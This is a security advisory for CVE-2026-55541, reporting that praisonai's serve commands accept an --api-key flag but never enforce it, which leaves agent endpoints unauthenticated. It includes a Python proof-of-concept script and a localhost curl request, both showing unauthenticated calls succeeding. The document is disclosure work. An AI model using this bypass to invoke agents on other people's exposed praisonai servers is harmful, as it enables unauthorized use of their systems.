CVE-2026-55541

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app, no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

• Confirmed on 4.6.50 (current PyPI, 2026-06-02)
• Likely since 4.6.34 when the serve subsystem shipped
• File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous, it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

Endpoints exposed without auth

• POST /agents, runs the full agent workflow
• POST /agents/{name}, invokes a specific agent
• POST /api/v1/agents/{id}/invoke, n8n integration endpoint
• GET /, lists all endpoints
• GET /__praisonai__/discovery, service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release, the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

Output

No auth header → 200
Wrong key      → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes

References

• CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)